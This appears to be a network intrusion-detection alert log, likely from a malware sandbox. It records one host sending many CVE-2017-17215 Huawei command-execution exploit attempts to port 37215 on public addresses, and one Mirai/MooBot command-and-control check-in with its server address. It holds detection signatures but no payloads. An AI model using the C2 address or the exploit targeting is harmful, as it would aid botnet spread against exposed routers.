2024-08-01T15:36:46.311933+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46214	37215	192.168.2.14	41.34.40.135
2024-08-01T15:36:24.448778+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49832	37215	192.168.2.14	41.51.122.149
2024-08-01T15:35:21.882603+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44918	37215	192.168.2.14	157.224.253.79
2024-08-01T15:35:54.379042+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55082	37215	192.168.2.14	69.172.88.69
2024-08-01T15:35:53.373516+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34244	37215	192.168.2.14	157.43.137.111
2024-08-01T15:36:09.886772+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45518	37215	192.168.2.14	197.130.191.52
2024-08-01T15:35:17.157651+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55458	37215	192.168.2.14	197.102.57.118
2024-08-01T15:35:48.349147+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50198	37215	192.168.2.14	197.240.132.117
2024-08-01T15:35:54.384691+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40690	37215	192.168.2.14	197.18.243.184
2024-08-01T15:36:32.809243+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41914	37215	192.168.2.14	95.35.41.235
2024-08-01T15:35:21.884651+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49650	37215	192.168.2.14	197.238.76.171
2024-08-01T15:35:16.400351+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59278	37215	192.168.2.14	197.171.29.163
2024-08-01T15:36:06.670769+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45720	37215	192.168.2.14	41.237.104.166
2024-08-01T15:35:21.928761+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46170	37215	192.168.2.14	41.61.168.163
2024-08-01T15:36:01.488848+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39314	37215	192.168.2.14	32.174.250.64
2024-08-01T15:35:21.859685+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38238	37215	192.168.2.14	157.176.18.12
2024-08-01T15:35:21.887444+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55922	37215	192.168.2.14	157.158.183.224
2024-08-01T15:36:09.887411+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34620	37215	192.168.2.14	157.90.223.219
2024-08-01T15:35:21.858407+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59418	37215	192.168.2.14	90.60.116.72
2024-08-01T15:35:20.210176+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34330	37215	192.168.2.14	197.69.76.72
2024-08-01T15:36:16.167154+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38182	37215	192.168.2.14	197.233.22.222
2024-08-01T15:36:53.670923+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52812	37215	192.168.2.14	157.231.150.118
2024-08-01T15:35:21.918398+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42076	37215	192.168.2.14	41.141.154.192
2024-08-01T15:35:50.749394+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55000	37215	192.168.2.14	157.20.63.209
2024-08-01T15:35:20.207059+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47688	37215	192.168.2.14	197.115.117.73
2024-08-01T15:36:09.842403+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33216	37215	192.168.2.14	197.90.20.227
2024-08-01T15:36:20.287027+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51650	37215	192.168.2.14	157.130.240.56
2024-08-01T15:35:28.720754+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42548	37215	192.168.2.14	173.17.210.150
2024-08-01T15:35:50.305299+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58794	37215	192.168.2.14	197.146.85.92
2024-08-01T15:36:26.824805+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34136	37215	192.168.2.14	36.222.190.185
2024-08-01T15:35:45.277243+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32980	37215	192.168.2.14	41.2.206.148
2024-08-01T15:35:33.070522+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48144	37215	192.168.2.14	157.68.174.202
2024-08-01T15:36:34.857475+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46562	37215	192.168.2.14	41.185.190.45
2024-08-01T15:36:06.712856+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59010	37215	192.168.2.14	197.126.233.59
2024-08-01T15:36:09.884638+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42298	37215	192.168.2.14	157.229.55.75
2024-08-01T15:35:32.976350+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60128	37215	192.168.2.14	197.37.111.168
2024-08-01T15:35:48.348209+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37664	37215	192.168.2.14	157.240.99.19
2024-08-01T15:36:24.468885+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43610	37215	192.168.2.14	100.137.158.175
2024-08-01T15:35:21.879916+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54066	37215	192.168.2.14	41.41.71.88
2024-08-01T15:35:21.880129+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39722	37215	192.168.2.14	197.89.173.242
2024-08-01T15:36:53.743432+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52690	37215	192.168.2.14	157.239.119.248
2024-08-01T15:35:21.918439+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40360	37215	192.168.2.14	197.137.115.65
2024-08-01T15:36:09.888607+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45918	37215	192.168.2.14	137.36.89.58
2024-08-01T15:36:36.977646+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46980	37215	192.168.2.14	197.92.6.145
2024-08-01T15:36:06.868060+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45706	37215	192.168.2.14	41.195.101.27
2024-08-01T15:36:03.758448+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52360	37215	192.168.2.14	197.135.194.191
2024-08-01T15:35:16.337247+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59862	37215	192.168.2.14	41.219.67.173
2024-08-01T15:35:20.574980+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38442	37215	192.168.2.14	34.214.141.25
2024-08-01T15:36:14.905386+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43478	37215	192.168.2.14	197.90.219.159
2024-08-01T15:35:20.210299+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54156	37215	192.168.2.14	163.42.224.94
2024-08-01T15:36:15.321608+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58726	37215	192.168.2.14	41.235.68.178
2024-08-01T15:35:40.228490+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47140	37215	192.168.2.14	157.189.102.91
2024-08-01T15:35:48.348254+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55256	37215	192.168.2.14	181.72.99.167
2024-08-01T15:36:20.309440+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47412	37215	192.168.2.14	197.59.64.28
2024-08-01T15:35:21.906270+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47958	37215	192.168.2.14	197.53.237.26
2024-08-01T15:36:57.625016+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43670	37215	192.168.2.14	197.75.174.255
2024-08-01T15:36:53.745439+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52070	37215	192.168.2.14	207.165.74.56
2024-08-01T15:35:21.842732+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55318	37215	192.168.2.14	41.159.222.178
2024-08-01T15:34:58.055021+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38508	37215	192.168.2.14	157.138.68.130
2024-08-01T15:35:40.227507+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45924	37215	192.168.2.14	41.153.178.53
2024-08-01T15:35:20.210471+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59662	37215	192.168.2.14	41.73.44.185
2024-08-01T15:36:14.810722+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54436	37215	192.168.2.14	223.97.96.43
2024-08-01T15:36:30.755547+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38240	37215	192.168.2.14	41.79.201.24
2024-08-01T15:35:21.836637+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54680	37215	192.168.2.14	9.190.232.44
2024-08-01T15:36:24.826996+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34538	37215	192.168.2.14	41.37.247.66
2024-08-01T15:36:52.618874+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55148	37215	192.168.2.14	41.56.204.216
2024-08-01T15:36:01.668248+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44646	37215	192.168.2.14	157.250.27.33
2024-08-01T15:35:50.304902+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53728	37215	192.168.2.14	197.100.80.184
2024-08-01T15:36:44.232866+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37888	37215	192.168.2.14	157.50.116.233
2024-08-01T15:36:14.831047+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49406	37215	192.168.2.14	41.141.88.113
2024-08-01T15:35:20.575025+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36606	37215	192.168.2.14	197.65.108.30
2024-08-01T15:36:11.085226+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53024	37215	192.168.2.14	41.221.244.29
2024-08-01T15:36:09.857686+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45174	37215	192.168.2.14	41.144.85.8
2024-08-01T15:35:16.495805+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44410	37215	192.168.2.14	99.216.115.116
2024-08-01T15:35:20.210041+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37258	37215	192.168.2.14	102.39.195.141
2024-08-01T15:36:24.670989+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56282	37215	192.168.2.14	41.38.152.24
2024-08-01T15:35:20.545742+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49540	37215	192.168.2.14	197.160.38.240
2024-08-01T15:35:16.730493+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45752	37215	192.168.2.14	41.53.76.199
2024-08-01T15:35:32.992570+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42150	37215	192.168.2.14	197.181.169.63
2024-08-01T15:36:52.652687+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53262	37215	192.168.2.14	134.41.166.92
2024-08-01T15:35:20.214731+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57782	37215	192.168.2.14	197.215.49.120
2024-08-01T15:36:55.997790+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37350	37215	192.168.2.14	157.27.85.88
2024-08-01T15:36:28.681686+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35848	37215	192.168.2.14	197.203.12.247
2024-08-01T15:35:20.215030+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50402	37215	192.168.2.14	157.17.1.228
2024-08-01T15:35:37.243116+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40452	37215	192.168.2.14	157.43.0.28
2024-08-01T15:35:20.203078+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41254	37215	192.168.2.14	197.61.148.16
2024-08-01T15:36:22.356472+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41484	37215	192.168.2.14	158.3.45.150
2024-08-01T15:35:56.500844+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40288	37215	192.168.2.14	169.3.99.65
2024-08-01T15:35:21.882738+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52548	37215	192.168.2.14	41.219.197.16
2024-08-01T15:35:16.318245+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46202	37215	192.168.2.14	41.243.78.48
2024-08-01T15:35:53.373307+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53218	37215	192.168.2.14	193.208.219.4
2024-08-01T15:36:22.355702+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34970	37215	192.168.2.14	197.155.245.48
2024-08-01T15:36:20.306618+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43790	37215	192.168.2.14	41.159.169.54
2024-08-01T15:35:15.533485+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	40200	56999	192.168.2.14	103.238.235.163
2024-08-01T15:35:20.203164+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36768	37215	192.168.2.14	157.234.123.41
2024-08-01T15:35:20.207481+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60664	37215	192.168.2.14	197.200.154.27
2024-08-01T15:35:20.216574+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43126	37215	192.168.2.14	68.0.81.20
2024-08-01T15:35:58.640102+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36022	37215	192.168.2.14	41.32.216.16
2024-08-01T15:35:40.221522+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52128	37215	192.168.2.14	157.131.114.73
2024-08-01T15:35:50.291631+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34134	37215	192.168.2.14	156.252.233.189
2024-08-01T15:35:16.353164+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45878	37215	192.168.2.14	41.190.123.131
2024-08-01T15:36:12.040285+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40866	37215	192.168.2.14	197.211.118.209
2024-08-01T15:36:24.456626+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55146	37215	192.168.2.14	41.97.197.70
2024-08-01T15:36:01.488807+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38040	37215	192.168.2.14	197.10.123.117
2024-08-01T15:36:49.568655+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57112	37215	192.168.2.14	41.57.182.48
2024-08-01T15:35:45.263837+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37416	37215	192.168.2.14	196.245.72.148
2024-08-01T15:36:29.403555+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49108	37215	192.168.2.14	41.107.198.117
2024-08-01T15:35:50.297906+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58770	37215	192.168.2.14	197.21.59.110
2024-08-01T15:36:03.706239+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56916	37215	192.168.2.14	41.32.81.182
2024-08-01T15:35:20.204831+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43132	37215	192.168.2.14	197.219.253.245
2024-08-01T15:36:49.760736+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39086	37215	192.168.2.14	197.97.108.43
2024-08-01T15:35:21.891577+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47622	37215	192.168.2.14	41.89.107.167
2024-08-01T15:35:21.870188+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49340	37215	192.168.2.14	157.213.113.199
2024-08-01T15:35:28.716822+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46600	37215	192.168.2.14	41.11.149.39
2024-08-01T15:36:14.855087+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45398	37215	192.168.2.14	197.164.144.222
2024-08-01T15:35:54.607459+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35004	37215	192.168.2.14	157.61.200.243
2024-08-01T15:35:53.373438+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55814	37215	192.168.2.14	222.13.253.191
2024-08-01T15:36:36.981963+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58322	37215	192.168.2.14	197.108.171.2
2024-08-01T15:35:16.816863+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42024	37215	192.168.2.14	41.210.198.23
2024-08-01T15:35:20.210893+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59092	37215	192.168.2.14	41.125.175.119
2024-08-01T15:35:21.863613+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53234	37215	192.168.2.14	41.92.243.160
2024-08-01T15:34:59.702580+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59706	37215	192.168.2.14	161.151.213.58
2024-08-01T15:36:09.948499+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47008	37215	192.168.2.14	41.33.161.73
2024-08-01T15:36:51.593196+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48160	37215	192.168.2.14	98.232.165.251
2024-08-01T15:34:57.435581+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38164	37215	192.168.2.14	222.239.93.139
2024-08-01T15:35:17.224077+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43348	37215	192.168.2.14	107.71.89.123
2024-08-01T15:36:20.311697+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40576	37215	192.168.2.14	12.253.143.15
2024-08-01T15:36:44.212374+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36846	37215	192.168.2.14	187.194.221.221
2024-08-01T15:35:37.416244+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47736	37215	192.168.2.14	197.233.181.104
2024-08-01T15:35:43.431545+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55780	37215	192.168.2.14	157.250.22.123
2024-08-01T15:35:53.373823+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38816	37215	192.168.2.14	70.113.9.127
2024-08-01T15:36:14.808080+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49308	37215	192.168.2.14	182.183.50.204
2024-08-01T15:36:11.950839+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52134	37215	192.168.2.14	120.202.154.94
2024-08-01T15:35:35.120085+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47852	37215	192.168.2.14	197.97.47.246
2024-08-01T15:35:21.905938+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60084	37215	192.168.2.14	41.108.249.103
2024-08-01T15:35:21.905385+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52134	37215	192.168.2.14	197.63.190.45
2024-08-01T15:36:32.887711+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42682	37215	192.168.2.14	157.87.54.206
2024-08-01T15:35:32.868099+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36484	37215	192.168.2.14	114.104.48.82
2024-08-01T15:35:20.545267+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44648	37215	192.168.2.14	41.229.81.160
2024-08-01T15:36:53.779260+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43716	37215	192.168.2.14	49.78.211.196
2024-08-01T15:36:32.777871+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52044	37215	192.168.2.14	156.24.211.194
2024-08-01T15:36:09.857702+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34052	37215	192.168.2.14	157.120.98.240
2024-08-01T15:35:21.919754+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33336	37215	192.168.2.14	180.68.37.214
2024-08-01T15:36:39.124429+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59632	37215	192.168.2.14	157.36.117.202
2024-08-01T15:35:21.864834+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57654	37215	192.168.2.14	157.240.220.84
2024-08-01T15:36:14.805725+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50984	37215	192.168.2.14	41.92.2.94
2024-08-01T15:35:20.209353+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53284	37215	192.168.2.14	184.119.116.174
2024-08-01T15:36:16.290605+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40688	37215	192.168.2.14	192.45.79.181
2024-08-01T15:35:37.344059+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50434	37215	192.168.2.14	41.129.147.108
2024-08-01T15:35:21.933484+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51144	37215	192.168.2.14	41.25.138.196
2024-08-01T15:35:56.510838+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41184	37215	192.168.2.14	197.43.183.162
2024-08-01T15:36:15.306227+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54980	37215	192.168.2.14	41.12.11.110
2024-08-01T15:36:14.855058+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56106	37215	192.168.2.14	157.212.59.43
2024-08-01T15:35:16.773244+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38518	37215	192.168.2.14	159.97.190.21
2024-08-01T15:36:48.420365+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45984	37215	192.168.2.14	113.125.92.38
2024-08-01T15:36:51.580252+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33842	37215	192.168.2.14	205.168.36.92
2024-08-01T15:36:09.903541+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50856	37215	192.168.2.14	59.98.103.21
2024-08-01T15:36:28.570625+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39152	37215	192.168.2.14	152.30.162.104
2024-08-01T15:36:22.374503+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42656	37215	192.168.2.14	41.168.142.166
2024-08-01T15:35:20.206285+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53874	37215	192.168.2.14	157.21.242.107
2024-08-01T15:35:21.835326+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38070	37215	192.168.2.14	44.219.0.116
2024-08-01T15:35:16.809064+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35894	37215	192.168.2.14	113.77.151.196
2024-08-01T15:36:36.981406+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51868	37215	192.168.2.14	197.157.92.228
2024-08-01T15:36:46.325524+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45240	37215	192.168.2.14	197.83.77.181
2024-08-01T15:36:52.649398+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58452	37215	192.168.2.14	41.217.187.49
2024-08-01T15:35:17.014330+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49602	37215	192.168.2.14	13.191.210.26
